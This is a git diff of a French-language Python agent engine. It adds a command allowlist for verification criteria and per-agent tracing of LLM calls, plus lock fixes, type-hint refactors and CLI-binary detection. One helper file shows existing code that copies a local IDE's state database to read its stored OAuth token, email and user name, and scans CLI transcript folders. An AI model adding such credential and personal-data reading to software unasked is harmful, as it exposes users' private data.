guillemets que ce mode + conserve. La validation et l'exécution utilisent le MÊME découpage : on ne + veut pas autoriser une commande et en lancer une autre. + """ + try: + if os.name == "nt" or _commande_style_windows(commande): + tokens = [t.strip("\"'") for t in shlex.split(commande, posix=False)] + else: + tokens = shlex.split(commande) + except ValueError: + return None + tokens = [t for t in tokens if t] + return tokens or None + + +def commande_autorisee(commande: str) -> bool: + """Vrai si la commande correspond à un préfixe de vérification autorisé.""" + tokens = _decouper(commande) + if not tokens: + return False + tokens = list(tokens) + # `python.exe` / chemins absolus : on compare sur le nom de base. + # ntpath : même sous Linux, un chemin `C:\...\python.exe` doit donner `python` + # (posixpath.basename laisserait le chemin entier intact). + tokens[0] = ntpath.basename(tokens[0]).lower() + if tokens[0].endswith(".exe"): + tokens[0] = tokens[0][:-4] + return any( + len(tokens) >= len(prefixe) and tuple(tokens[:len(prefixe)]) == prefixe + for prefixe in PREFIXES_AUTORISES + ) + + +def _verifier_commande(critere: Critere, racine: str | None) -> ResultatCritere: + if not commande_autorisee(critere.valeur): + return ResultatCritere( + critere, None, + "commande hors de la liste de vérification autorisée — non exécutée", + ) + tokens = _decouper(critere.valeur) + if not tokens: + return ResultatCritere(critere, None, "commande indécoupable") + try: + proc = subprocess.run( + tokens, + cwd=racine or _racine_moteur(), + capture_output=True, + text=True, + timeout=TIMEOUT_COMMANDE_S, + shell=False, + ) + except subprocess.TimeoutExpired: + return ResultatCritere(critere, False, f"dépassement du délai ({TIMEOUT_COMMANDE_S} s)") + except FileNotFoundError: + return ResultatCritere(critere, None, "exécutable introuvable sur cet hôte") + except Exception as err: + return ResultatCritere(critere, None, f"exécution impossible : {err}") + + if proc.returncode == 0: + return ResultatCritere(critere, True, "code de retour 0") + sortie = ((proc.stderr or "") + (proc.stdout or "")).strip().replace("\n", " ") + return ResultatCritere(critere, False, f"code {proc.returncode} — {sortie[:400]}") + + +def _resoudre(chemin: str) -> tuple[str | None, str | None]: + """Résout un chemin avec la politique d'espace de travail des outils d'édition.""" + try: + from tools.system import _resolve_within_workspace + return _resolve_within_workspace(chemin) + except Exception as err: # module indisponible : on ne devine pas de frontière + return None, f"résolution de chemin impossible : {err}" + + +def _verifier_fichier(critere: Critere) -> ResultatCritere: + resolu, erreur = _resoudre(critere.valeur) + if erreur or not resolu: + return ResultatCritere(critere, None, erreur or "chemin non résolu") + + if not os.path.isfile(resolu): + return ResultatCritere(critere, False, "fichier absent") + if critere.type == "fichier_existe": + return ResultatCritere(critere, True, "fichier présent") + + if not critere.attendu: + return ResultatCritere(critere, None, "aucun motif attendu fourni") + try: + # Lecture directe et non via read_file : son cache sémantique peut + # résumer le contenu, ce qui produirait un faux négatif silencieux. + with open(resolu, encoding="utf-8", errors="replace") as f: + contenu = f.read() + except Exception as err: + return ResultatCritere(critere, None, f"lecture impossible : {err}") + + if critere.attendu in contenu: + return ResultatCritere(critere, True, "motif trouvé") + try: + if re.search(critere.attendu, contenu): + return ResultatCritere(critere, True, "motif trouvé (expression régulière)") + except re.error: + pass + return ResultatCritere(critere, False, "motif absent du fichier") + + +def _racine_moteur() -> str: + return os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + + +def verifier_contrat(criteres, racine: str | None = None) -> RapportContrat: + """ + Exécute tous les critères et retourne le verdict d'ensemble. + + Ne lève jamais : un critère qui explose devient « non vérifiable », parce + qu'une exception ici bloquerait la boucle de revue au lieu de l'informer. + """ + if criteres and isinstance(criteres[0], dict): + criteres = normaliser_criteres(criteres) + + rapport = RapportContrat() + for critere in criteres or []: + if critere.type == "commande": + rapport.resultats.append(_verifier_commande(critere, racine)) + elif critere.type in ("fichier_contient", "fichier_existe"): + rapport.resultats.append(_verifier_fichier(critere)) + else: + rapport.resultats.append(ResultatCritere( + critere, None, f"type de critère inconnu : {critere.type!r}" + )) + + if rapport.resultats: + logger.info( + f"[CONTRAT] {len(rapport.verifiables)} critère(s) vérifiable(s), " + f"{len(rapport.echecs)} échec(s), {len(rapport.non_verifiables)} non vérifiable(s) " + f"→ satisfait={rapport.satisfait}" + ) + return rapport diff --git a/core/agent_trace.py b/core/agent_trace.py new file mode 100644 index 0000000..6d0d886 --- /dev/null +++ b/core/agent_trace.py @@ -0,0 +1,58 @@ +""" +core/agent_trace.py — Traçabilité de l'agent qui a déclenché l'appel LLM (#T296). + +Le problème : `token_usage.agent_name` était NULL sur 100 % des lignes (54/54 +mesurées le 11/08 sur 24 h), donc le tableau « Activité par agent » de l'IHM ne +pouvait structurellement rien afficher. La cause n'était pas un appelant +distrait : `core/token_tracker.py::record_usage()` — le chemin unique par lequel +passent TOUS les providers — n'avait pas de paramètre `agent_name`. Et l'ajouter +n'aurait pas suffi : un provider ne CONNAÎT pas l'agent, c'est une notion de la +couche au-dessus. L'information devait descendre trois étages sans que les +quinze call-sites des providers aient à la transporter. + +Mécanisme : une ContextVar, sur le modèle exact de `core/llm/fallback_trace.py` +(#T288) — bibliothèque standard, aucune dépendance, isolée par tâche asyncio et +par thread : + - `BaseAgent` la renseigne automatiquement autour de chaque `invoke()` + (`agents/base_agent.py`), donc aucun agent ni aucun appelant n'a à y penser ; + - `record_usage()` la lit au moment d'écrire la ligne de consommation. + +Pourquoi c'est sûr en concurrence : chaque asyncio.Task démarre avec une copie +du contexte courant, donc un `set()` dans une tâche n'affecte que cette tâche. +Le DAG lance chaque nœud dans sa propre Task — deux agents parallèles écrivent +donc chacun leur nom, jamais celui du voisin. + +Pourquoi un jeton de restauration (et pas un simple `set()`) : les agents +s'appellent entre eux. `core/healing.py:118` invoque le planner DEPUIS un autre +agent, `core/review_loop.py:199` invoque le reviewer de la même façon. Sans +`reset(jeton)`, l'agent parent finirait ses propres appels LLM sous le nom de +son enfant, et la colonne mentirait au lieu d'être vide — un mensonge coûte plus +cher qu'un trou (#T294). + +Valeur None = appel LLM hors agent : routeur, classificateur, collecteur de +quotas, script direct. C'est une absence légitime, pas un défaut. +""" + +from contextvars import ContextVar, Token + +_AGENT_COURANT: ContextVar[str | None] = ContextVar("agent_courant", default=None) + + +def poser_agent_courant(nom: str | None) -> Token: + """[T296] Déclare l'agent qui s'exécute. Rend le jeton à passer à `restaurer_agent_courant`.""" + return _AGENT_COURANT.set(nom) + + +def restaurer_agent_courant(jeton: Token) -> None: + """[T296] Rétablit l'agent précédent — indispensable quand un agent en invoque un autre.""" + try: + _AGENT_COURANT.reset(jeton) + except ValueError: + # Jeton créé dans un autre contexte (tâche asyncio différente) : la copie + # de contexte de cette tâche disparaît avec elle, il n'y a rien à rétablir. + pass + + +def lire_agent_courant() -> str | None: + """[T296] Nom de l'agent dont dépend l'appel LLM en cours, None hors agent.""" + return _AGENT_COURANT.get() diff --git a/core/anthropic_native_provider.py b/core/anthropic_native_provider.py index 3e8aa79..635ba09 100644 --- a/core/anthropic_native_provider.py +++ b/core/anthropic_native_provider.py @@ -15,7 +15,7 @@ """ import logging -from typing import Any, Dict +from typing import Any from core.llm_timeouts import get_timeout @@ -31,7 +31,7 @@ class LLMProvider(ABC): @abstractmethod def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: pass @abstractmethod - def generate_structured(self, system_prompt: str, user_prompt: str, schema: Dict[str, Any], **kwargs) -> Dict[str, Any]: pass + def generate_structured(self, system_prompt: str, user_prompt: str, schema: dict[str, Any], **kwargs) -> dict[str, Any]: pass ANTHROPIC_API_VERSION = "2023-06-01" ANTHROPIC_MESSAGES_URL = "https://api.anthropic.com/v1/messages" @@ -126,7 +126,9 @@ def generate(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) -> Any: """[D5] Génération asynchrone native via httpx.AsyncClient (I/O non bloquante).""" import asyncio + import httpx + from core.openai_compat_provider import SharedAsyncHTTPPool payload = self._build_payload(system_prompt, user_prompt, **kwargs) @@ -152,8 +154,8 @@ async def generate_async(self, system_prompt: str, user_prompt: str, **kwargs) - def generate_structured( self, system_prompt: str, user_prompt: str, - schema: Dict[str, Any], **kwargs, - ) -> Dict[str, Any]: + schema: dict[str, Any], **kwargs, + ) -> dict[str, Any]: from core.openai_compat_provider import SharedHTTPPool tool_name = "respond_with_json" @@ -180,5 +182,11 @@ def generate_structured( if block.get("type") == "tool_use" and block.get("name") == tool_name: return block.get("input", {}) + # #T265 : lever, ne pas renvoyer {}. Même famille que gemini_native — + # un dict vide est une valeur de retour, donc un SUCCÈS aux yeux de + # FallbackProvider : pas de bascule sur le modèle suivant et un succès + # enregistré au circuit breaker pour un appel qui n'a rien produit. logger.error(f"{self.provider_name} n'a pas retourné de tool_use pour generate_structured") - return {} + raise RuntimeError( + f"{self.provider_name} n'a pas retourné de tool_use pour generate_structured" + ) diff --git a/core/antigravity_helper.py b/core/antigravity_helper.py index 181548a..f83b01b 100644 --- a/core/antigravity_helper.py +++ b/core/antigravity_helper.py @@ -6,22 +6,22 @@ Date : 2026-06-16 """ -import os +import base64 import glob import json import logging +import os +import re import shutil -import tempfile import sqlite3 -import base64 -import re +import tempfile from datetime import datetime, timedelta -from typing import Tuple, Dict, Any +from typing import Any logger = logging.getLogger(__name__) -def decode_protobuf_varint(data: bytes, index: int = 0) -> Tuple[int, int]: +def decode_protobuf_varint(data: bytes, index: int = 0) -> tuple[int, int]: """Décode un entier encodé en varint protobuf à partir d'un index donné.""" result = 0 shift = 0 @@ -37,16 +37,16 @@ def decode_protobuf_varint(data: bytes, index: int = 0) -> Tuple[int, int]: return result, index -def get_antigravity_ide_usage() -> Dict[str, Any]: +def get_antigravity_ide_usage() -> dict[str, Any]: """Scanne le répertoire brain d'Antigravity IDE pour compter les messages des 5 dernières heures et en déduire le reset glissant.""" user_home = os.path.expanduser("~") brain_dir = os.path.join(user_home, ".gemini", "antigravity-ide", "brain") now = datetime.now() t_5h = now - timedelta(hours=5) - + gemini_requests = [] others_requests = [] - + if os.path.exists(brain_dir): pattern = os.path.join(brain_dir, "*", ".system_generated", "logs", "transcript.jsonl") for filepath in glob.glob(pattern): @@ -55,17 +55,17 @@ def get_antigravity_ide_usage() -> Dict[str, Any]: mtime = datetime.fromtimestamp(os.path.getmtime(filepath)) if mtime < t_5h: continue - - with open(filepath, "r", encoding="utf-8") as f: + + with open(filepath, encoding="utf-8") as f: lines = [line.strip() for line in f if line.strip()] - + # Détecter le modèle de la session (Claude vs Gemini) is_claude = False for line in lines: if "claude" in line.lower() or "opus" in line.lower() or "sonnet" in line.lower(): is_claude = True break - + for line in lines: try: step = json.loads(line) @@ -76,7 +76,7 @@ def get_antigravity_ide_usage() -> Dict[str, Any]: dt_naive = dt.replace(tzinfo=None) if dt.tzinfo: dt_naive = dt.astimezone().replace(tzinfo=None) - + if dt_naive > t_5h: if is_claude: others_requests.append(dt_naive) @@ -86,24 +86,24 @@ def get_antigravity_ide_usage() -> Dict[str, Any]: pass except Exception: pass - + # Tri gemini_requests.sort() others_requests.sort() - + # Calcul des temps de recharge restants gemini_reset = 0 if gemini_requests: oldest = gemini_requests[0] reset_time = oldest + timedelta(hours=5) gemini_reset = max(0, int((reset_time - now).total_seconds())) - + others_reset = 0 if others_requests: oldest = others_requests[0] reset_time = oldest + timedelta(hours=5) others_reset = max(0, int((reset_time - now).total_seconds())) - + return { "gemini": { "used": len(gemini_requests), @@ -118,7 +118,7 @@ def get_antigravity_ide_usage() -> Dict[str, Any]: } -def get_antigravity_status() -> Dict[str, Any]: +def get_antigravity_status() -> dict[str, Any]: """Récupère passivement le profil utilisateur et les crédits d'IA d'Antigravity IDE depuis sa base SQLite locale.""" if os.name == "nt": # Windows appdata = os.environ.get("APPDATA") or os.path.expanduser("~/AppData/Roaming") @@ -126,7 +126,7 @@ def get_antigravity_status() -> Dict[str, Any]: else: # Linux/Mac (Steam Deck ou serveur) user_home = os.path.expanduser("~") db_path = os.path.join(user_home, ".config", "Antigravity IDE", "User", "globalStorage", "state.vscdb") - + result = { "connected": False, "user": "Non connecté", @@ -139,34 +139,34 @@ def get_antigravity_status() -> Dict[str, Any]: }, "error": None } - + if not os.path.exists(db_path): result["error"] = "Base de données introuvable" return result - + temp_dir = tempfile.gettempdir() temp_db_path = os.path.join(temp_dir, f"antigravity_state_temp_{os.getpid()}.vscdb") - + try: # Copie temporaire sécurisée pour éviter les verrous shutil.copy2(db_path, temp_db_path) - + conn = sqlite3.connect(temp_db_path) cursor = conn.cursor() - + # Sélectionner les clés d'état requises cursor.execute("SELECT key, value FROM ItemTable WHERE key IN ('antigravityUnifiedStateSync.modelCredits', 'antigravityUnifiedStateSync.userStatus', 'antigravityUnifiedStateSync.oauthToken');") rows = cursor.fetchall() data = {row[0]: row[1] for row in rows} - + conn.close() - + # Suppression immédiate de la copie try: os.remove(temp_db_path) except Exception: pass - + # 1. Extraction du statut OAuth if 'antigravityUnifiedStateSync.oauthToken' in data: oauth_b64 = data['antigravityUnifiedStateSync.oauthToken'] @@ -194,18 +194,18 @@ def get_antigravity_status() -> Dict[str, Any]: val_b64 = match.group(1) val_bytes = base64.b64decode(val_b64) status_text = val_bytes.decode('utf-8', errors='ignore') - + # Extraction Email email_match = re.search(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}", status_text) if email_match: result["email"] = email_match.group(0) - + # Extraction Plan plan_match = re.search(r"(Google AI [a-zA-Z0-9\s]+|[a-z0-9\-]+tier)", status_text) if plan_match: plan_val = plan_match.group(0) result["plan"] = "Google AI Ultra" if plan_val == "g1-ultra-tier" else plan_val - + # Extraction Nom d'utilisateur clean_text = "".join([c if (c.isalnum() or c in " @.-_") else " " for c in status_text]) name_match = re.search(r"([A-Z][a-z]+(?:\s+[A-Z][a-z]+)+)", clean_text) @@ -242,5 +242,5 @@ def get_antigravity_status() -> Dict[str, Any]: os.remove(temp_db_path) except Exception: pass - + return result diff --git a/core/app_state.py b/core/app_state.py index f594a63..106b31f 100644 --- a/core/app_state.py +++ b/core/app_state.py @@ -13,9 +13,9 @@ """ import asyncio -import threading import logging -from typing import Any, Dict, Optional, Set +import threading +from typing import Any, Optional logger = logging.getLogger(__name__) @@ -70,7 +70,7 @@ def initialize(self) -> None: return # ── État d'exécution ── - self.execution_state: Dict[str, Any] = { + self.execution_state: dict[str, Any] = { "status": "idle", # "idle" | "running" | "success" | "error" "objective": "", "engine_state": None, # GlobalState sérialisé @@ -88,7 +88,7 @@ def initialize(self) -> None: if _HAS_CACHETOOLS: self.chat_history: Any = TTLCache(maxsize=500, ttl=600) else: - self.chat_history: Dict = {} + self.chat_history: dict = {} # ── Router global ── self.global_router = None # Instance core.router.Router @@ -107,7 +107,7 @@ def initialize(self) -> None: # ── SSE Clients ── # set() protégé par asyncio.Lock (pas de list.remove() concurrent) - self.sse_clients: Set[asyncio.Queue] = set() + self.sse_clients: set[asyncio.Queue] = set() self.sse_lock = asyncio.Lock() # ── Cache fast-path ── @@ -115,7 +115,7 @@ def initialize(self) -> None: if _HAS_CACHETOOLS: self.fast_path_cache: Any = TTLCache(maxsize=100, ttl=15) else: - self.fast_path_cache: Dict = {} + self.fast_path_cache: dict = {} self._initialized = True logger.info("[AppState] ✅ État partagé initialisé (singleton thread-safe).") diff --git a/core/async_db_serializer.py b/core/async_db_serializer.py index 18eb0ee..1054a0c 100644 --- a/core/async_db_serializer.py +++ b/core/async_db_serializer.py @@ -4,7 +4,8 @@ """ import asyncio import logging -from typing import Callable, TypeVar +from collections.abc import Callable +from typing import TypeVar T = TypeVar("T") logger = logging.getLogger(__name__) diff --git a/core/backlog_db.py b/core/backlog_db.py index 18537bb..0a29dc5 100644 --- a/core/backlog_db.py +++ b/core/backlog_db.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- """ tab5-engine Antigravity - Système de Backlog Ultra-Fiable Fichier : core/backlog_db.py @@ -15,7 +14,7 @@ import sqlite3 import time from contextlib import asynccontextmanager -from typing import Any, Dict, List, Optional +from typing import Any import aiosqlite import filelock @@ -63,15 +62,22 @@ async def db_write_lock_context(): """ Gestionnaire de contexte asynchrone pour les opérations d'ÉCRITURE (verrou exclusif). 1. Acquiert un verrou asyncio pour protéger l'event loop courante. - 2. Acquiert un verrou de fichier physique (filelock) de manière synchrone sur le - thread principal pour éviter les conflits d'accès multi-processus/multi-threads + 2. Acquiert un verrou de fichier physique (filelock) de manière synchrone hors de + l'event loop pour éviter les conflits d'accès multi-processus/multi-threads particulièrement sensibles sous Windows. - 3. Libère le verrou de fichier de manière asynchrone pour éviter de bloquer l'event loop. + 3. Libère le verrou de fichier hors de l'event loop. """ async with _db_write_lock: db_path = get_db_path() lock_path = db_path + ".backlog.lock" - lock = filelock.FileLock(lock_path) + # [#T293] `thread_local=False` : le FileLock est créé DANS ce contexte et + # protégé par `_db_write_lock` (asyncio.Lock) — une seule coroutine l'utilise + # à la fois, donc son état peut être partagé entre threads sans risque. + # Sans cela, acquire (worker A) et release (worker B) atterrissant sur des + # threads différents rendaient la libération SILENCIEUSEMENT inopérante + # (le compteur d'acquisition est stocké par thread par défaut) : le verrou + # fuitait jusqu'à la mort du processus. + lock = filelock.FileLock(lock_path, thread_local=False) try: await asyncio.to_thread(lock.acquire, timeout=10) except filelock.Timeout: @@ -81,15 +87,26 @@ async def db_write_lock_context(): ) raise TimeoutError( f"Le verrou de la base de données ({lock_path}) est bloqué par un autre processus." - ) + ) from None try: yield finally: try: # Libération déportée dans un thread pour éviter de bloquer l'event loop await asyncio.to_thread(lock.release) + # [#T293] Un verrou non relâché doit être VISIBLE dans le journal : + # la libération était un no-op silencieux quand l'état n'était pas + # partagé entre threads — on vérifie donc l'état réel après coup. + if lock.is_locked: + logger.error( + f"Le verrou {lock_path} est encore détenu après sa libération " + "(fuite de verrou) : les écritures suivantes échoueront." + ) except Exception as e: - logger.warning(f"Erreur lors de la libération du verrou : {e}") + logger.error( + f"Erreur lors de la libération du verrou {lock_path} : {e}", + exc_info=True, + ) @asynccontextmanager @@ -159,7 +176,7 @@ async def add_task( title: str, description: str, priority: int = 2, - scheduled_at: Optional[float] = None, + scheduled_at: float | None = None, ) -> int: """ Insère une nouvelle tâche dans le backlog et retourne son identifiant unique. @@ -196,7 +213,7 @@ async def add_task( raise -async def get_next_task() -> Optional[Dict[str, Any]]: +async def get_next_task() -> dict[str, Any] | None: """ Récupère la tâche 'pending' la plus prioritaire éligible pour exécution immédiate. Une tâche est éligible si son statut est 'pending' et que son paramètre `scheduled_at` @@ -298,7 +315,7 @@ async def update_task_status(task_id: int, status: str, **kwargs) -> bool: raise -async def get_all_tasks(limit: int = 50) -> List[Dict[str, Any]]: +async def get_all_tasks(limit: int = 50) -> list[dict[str, Any]]: """ Retourne la liste des tâches du backlog triées par date de création décroissante. @@ -324,7 +341,7 @@ async def get_all_tasks(limit: int = 50) -> List[Dict[str, Any]]: raise -async def get_task_stats() -> Dict[str, int]: +async def get_task_stats() -> dict[str, int]: """ Retourne un résumé statistique du nombre de tâches regroupées par statut. @@ -361,7 +378,46 @@ async def get_task_stats() -> Dict[str, int]: raise -async def get_task_by_id(task_id: int) -> Optional[Dict[str, Any]]: +# Statuts considérés "actifs" (tâche déjà suivie ou définitivement écartée) pour +# le dédoublonnage de l'auditeur autonome (core/auditor_agent.py) — 'failed' est +# inclus car ces tâches ne repassent PAS en 'pending' automatiquement +# (get_next_task() ne sélectionne que 'pending'), 'abandoned' aussi car une tâche +# ayant échoué 3 fois reste un signal de problème réel à traiter à la main plutôt +# que ré-injecté silencieusement par l'auditeur. +NON_TERMINAL_STATUSES = ("pending", "running", "paused", "failed", "abandoned") + + +async def get_active_task_titles( + statuses: tuple[str, ...] = NON_TERMINAL_STATUSES, +) -> list[str]: + """ + Retourne les titres des tâches non terminales, pour le dédoublonnage de + l'auditeur autonome (évite de proposer deux fois la même tâche déjà + suivie, gelée ou abandonnée). + + :param statuses: Statuts à considérer comme "actifs" (par défaut NON_TERMINAL_STATUSES). + :return: Liste des titres de tâches correspondants. + """ + async with db_read_lock_context(): + db_path = get_db_path() + placeholders = ",".join("?" * len(statuses)) + try: + async with _connect_db(db_path) as db: + async with db.execute( + f"SELECT title FROM backlog_tasks WHERE status IN ({placeholders})", + tuple(statuses), + ) as cursor: + rows = await cursor.fetchall() + return [row[0] for row in rows] + except Exception as e: + logger.error( + f"Erreur lors de la récupération des titres actifs pour dédoublonnage : {e}", + exc_info=True, + ) + raise + + +async def get_task_by_id(task_id: int) -> dict[str, Any] | None: """ Récupère une tâche spécifique par son identifiant unique. @@ -418,4 +474,4 @@ async def delete_task(task_id: int) -> bool: f"Erreur lors de la suppression de la tâche [ID: {task_id}] : {e}", exc_info=True, ) - raise \ No newline at end of file + raise diff --git a/core/budget_guard.py b/core/budget_guard.py index 310d2cf..6f3fb22 100644 --- a/core/budget_guard.py +++ b/core/budget_guard.py @@ -12,6 +12,7 @@ import logging import os import sqlite3 +import sys import time from pathlib import Path from typing import Any @@ -71,6 +72,28 @@ def _in_cooldown(provider: str) -> bool: return (time.time() - ts) < _PROVIDER_COOLDOWN_SECONDS +# [#T248] Interrupteur d'hôte : les providers CLI (abonnements Antigravity/Claude) +# n'ont de sens que sur une machine où le binaire existe et est trusté (le PC). +# Sur le Deck, l'absence est structurelle — les proposer au round-robin ne peut +# qu'échouer et consumer des cooldowns. MOTEUR_DISABLE_CLI_PROVIDERS=1 dans le +# .env de l'hôte les exclut explicitement de la cascade. +def _cli_providers_disabled() -> bool: + return os.getenv("MOTEUR_DISABLE_CLI_PROVIDERS", "").strip().lower() in ("1", "true", "yes", "on") + + +def _binary_present(names: tuple[str, ...], windows_appdata_candidates: tuple[str, ...] = ()) -> bool: + """ + [#T248] Détection cross-plateforme d'un binaire CLI : chemins absolus + Windows (AppData) seulement sous Windows, sinon recherche PATH générique. + Les chemins AppData n'existent jamais sous Linux — les tester ailleurs + qu'en Windows n'ajoute que du bruit. + """ + import shutil + if sys.platform == "win32" and any(os.path.exists(p) for p in windows_appdata_candidates): + return True + return any(shutil.which(name) for name in names) + + # Index de rotation round-robin module-level (BudgetGuard() est réinstancié # à chaque appel, cf. commentaire sur _deepseek_balance_cache) — fait tourner # les API cloud gratuites disponibles plutôt que de toujours privilégier la @@ -189,16 +212,18 @@ def _check_gemini_cli_availability(self) -> bool: sur cette machine. N'atteste PAS que le dialogue de confiance du workspace est accepté : un échec réel à l'exécution est absorbé par mark_provider_failed() (cooldown), pas par ce test préalable. + + [#T248] Détection cross-plateforme (_binary_present) : les chemins + AppData ne sont testés que sous Windows. """ - import shutil user_home = os.path.expanduser("~") - candidates = [ - os.path.join(user_home, "AppData", "Local", "Programs", "Antigravity IDE", "bin", "antigravity-ide.cmd"), - os.path.join(user_home, "AppData", "Local", "Programs", "Antigravity", "bin", "antigravity.cmd"), - ] - if any(os.path.exists(p) for p in candidates): - return True - return any(shutil.which(name) for name in ("antigravity-ide", "antigravity-ide.cmd", "antigravity", "antigravity.exe")) + return _binary_present( + ("antigravity-ide", "antigravity-ide.cmd", "antigravity", "antigravity.exe"), + windows_appdata_candidates=( + os.path.join(user_home, "AppData", "Local", "Programs", "Antigravity IDE", "bin", "antigravity-ide.cmd"), + os.path.join(user_home, "AppData", "Local", "Programs", "Antigravity", "bin", "antigravity.cmd"), + ), + ) def _check_claude_cli_availability(self) -> bool: """ @@ -207,8 +232,7 @@ def _check_claude_cli_availability(self) -> bool: _check_gemini_cli_availability() : présence du binaire seulement, pas du dialogue de confiance du workspace. """ - import shutil - return shutil.which("claude") is not None + return _binary_present(("claude", "claude.cmd")) async def get_available_provider(self) -> str | None: """ @@ -284,10 +308,15 @@ def query_db_status() -> tuple[int, int, float]: # 1. Rotation round-robin parmi les API cloud gratuites/abonnements # réellement disponibles (clé présente / binaire trouvé / pas en # cooldown / quota non dépassé pour gemini-free). + # [#T248] Les providers CLI sont exclus quand l'hôte les désactive + # (MOTEUR_DISABLE_CLI_PROVIDERS) — profil Deck sans CLI. + cli_disabled = _cli_providers_disabled() + if cli_disabled: + logger.debug("[BudgetGuard] Providers CLI désactivés par MOTEUR_DISABLE_CLI_PROVIDERS — exclus du round-robin.") cloud_candidates: list[str] = [] - if not _in_cooldown("gemini-cli-abo") and self._check_gemini_cli_availability(): + if not cli_disabled and not _in_cooldown("gemini-cli-abo") and self._check_gemini_cli_availability(): cloud_candidates.append("gemini-cli-abo") - if not _in_cooldown("claude-cli-abo") and self._check_claude_cli_availability(): + if not cli_disabled and not _in_cooldown("claude-cli-abo") and self._check_claude_cli_availability(): cloud_candidates.append("claude-cli-abo") if not _in_cooldown("cerebras-free") and os.getenv("CEREBRAS_API_KEY"): cloud_candidates.append("cerebras-free") diff --git a/core/checkpoint.py b/core/checkpoint.py index 9663a7a..13449a1 100644 --- a/core/checkpoint.py +++ b/core/checkpoint.py @@ -10,14 +10,13 @@ pour garantir la rétrocompatibilité avec engine.py, gui_server.py, etc. """ +import logging import os import sqlite3 -import logging from datetime import datetime, timedelta -from typing import Optional -from core.state import GlobalState from core.runtime_db import get_connection, get_db_path +from core.state import GlobalState logger = logging.getLogger(__name__) @@ -42,7 +41,7 @@ class CheckpointManager: def __init__(self, checkpoint_dir: str = _DEFAULT_CHECKPOINT_DIR, db_path: str = None): self.checkpoint_dir = checkpoint_dir os.makedirs(self.checkpoint_dir, exist_ok=True) - + self.db_path = db_path or get_db_path() logger.info(f"[CHECKPOINT] Point d'accès configuré sur la base de données unifiée : {self.db_path}") @@ -95,7 +94,7 @@ def save(self, state: GlobalState) -> str: logger.error(f"[CHECKPOINT] Échec de la sauvegarde pour '{state.session_id}' : {e}") return "" - def load(self, session_id: str) -> Optional[GlobalState]: + def load(self, session_id: str) -> GlobalState | None: """ Recharge un état sauvegardé pour reprise après crash. Retourne None si la session n'existe pas ou est corrompue. diff --git a/core/cli_token_collector.py b/core/cli_token_collector.py index e1cc59f..4141fac 100644 --- a/core/cli_token_collector.py +++ b/core/cli_token_collector.py @@ -58,41 +58,44 @@ def scan_antigravity_conversations(since_date: str = None) -> list: }] """ sessions = [] - + if not ANTIGRAVITY_BRAIN_DIR.exists(): - logger.warning(f"[CLICollector] Répertoire Antigravity introuvable : {ANTIGRAVITY_BRAIN_DIR}") + # [#T248] L'absence du répertoire est l'état NORMAL sur un hôte sans + # Antigravity IDE (le Deck) — le scan tourne toutes les ~10 min, un + # WARNING à chaque passage saturait les logs de prod (1440/jour). + logger.debug(f"[CLICollector] Répertoire Antigravity absent (hôte sans CLI) : {ANTIGRAVITY_BRAIN_DIR}") return sessions - + since_dt = None if since_date: try: since_dt = datetime.fromisoformat(since_date) except (ValueError, TypeError): pass - + for conv_dir in ANTIGRAVITY_BRAIN_DIR.iterdir(): if not conv_dir.is_dir(): continue - + transcript_path = conv_dir / ".system_generated" / "logs" / "transcript.jsonl" if not transcript_path.exists(): continue - + conversation_id = conv_dir.name - + # Filtrer par date de modification du fichier if since_dt: file_mtime = datetime.fromtimestamp(transcript_path.stat().st_mtime) if file_mtime < since_dt: continue - + try: session = _parse_antigravity_transcript(transcript_path, conversation_id) if session and session["total_tokens"] > 0: sessions.append(session) except Exception as e: logger.warning(f"[CLICollector] Erreur parsing {conversation_id}: {e}") - + # Trier par timestamp sessions.sort(key=lambda s: s.get("timestamp", "")) logger.info(f"[CLICollector] {len(sessions)} conversations Antigravity IDE scannées") @@ -111,8 +114,8 @@ def _parse_antigravity_transcript(transcript_path: Path, conversation_id: str) - objective = None user_messages = 0 model_responses = 0 - - with open(transcript_path, "r", encoding="utf-8") as f: + + with open(transcript_path, encoding="utf-8") as f: for line in f: line = line.strip() if not line: @@ -121,18 +124,18 @@ def _parse_antigravity_transcript(transcript_path: Path, conversation_id: str) - step = json.loads(line) except json.JSONDecodeError: continue - + step_type = step.get("type", "") source = step.get("source", "") content = step.get("content", "") or "" - + # Capturer le timestamp ts = step.get("timestamp") or step.get("created_at") if ts: if first_timestamp is None: first_timestamp = ts last_timestamp = ts - + # Capturer l'objectif (premier message utilisateur) if step_type == "USER_INPUT" and source == "USER_EXPLICIT": user_messages += 1 @@ -142,12 +145,12 @@ def _parse_antigravity_transcript(transcript_path: Path, conversation_id: str) - objective = content[:100].replace("\n", " ").strip() if len(content) > 100: objective += "..." - + # Réponses du modèle (LLM output) elif step_type == "PLANNER_RESPONSE" or source == "MODEL": model_responses += 1 total_completion += estimate_tokens(content) - + # Tool calls (les arguments sont des tokens prompt envoyés au LLM) elif step_type in ("VIEW_FILE", "GREP_SEARCH", "RUN_COMMAND", "WRITE_FILE", "REPLACE_FILE"): # Les résultats d'outils sont renvoyés au LLM comme contexte @@ -158,16 +161,16 @@ def _parse_antigravity_transcript(transcript_path: Path, conversation_id: str) - # Le output du tool est aussi du contexte prompt output = step.get("output", "") or "" total_prompt += estimate_tokens(output) - + if total_prompt == 0 and total_completion == 0: return None - + total_tokens = total_prompt + total_completion - + # Estimation du coût (Gemini CLI via abonnement = gratuit, mais on estime la valeur) # Tarif indicatif Gemini 3.5 Flash: $0.075/1M input, $0.30/1M output cost = (total_prompt * 0.075 / 1_000_000) + (total_completion * 0.30 / 1_000_000) - + return { "session_id": f"cli_antigravity_{conversation_id[:8]}", "channel": "antigravity_ide", @@ -260,7 +263,7 @@ def _parse_claude_jsonl(jsonl_path: Path, project_label: str) -> dict: models_breakdown = {} api_calls = 0 - with open(jsonl_path, "r", encoding="utf-8") as f: + with open(jsonl_path, encoding="utf-8") as f: for line in f: line = line.strip() if not line: @@ -375,15 +378,15 @@ def collect_all_cli_tokens(since_date: str = None, persist_to_db: bool = True) - } """ logger.info(f"[CLICollector] Lancement du scan (since={since_date})") - + antigravity = scan_antigravity_conversations(since_date) claude = scan_claude_cli_sessions(since_date) - + total_tokens = ( sum(s["total_tokens"] for s in antigravity) + sum(s["total_tokens"] for s in claude) ) - + # Persistance automatique en BDD SQLite 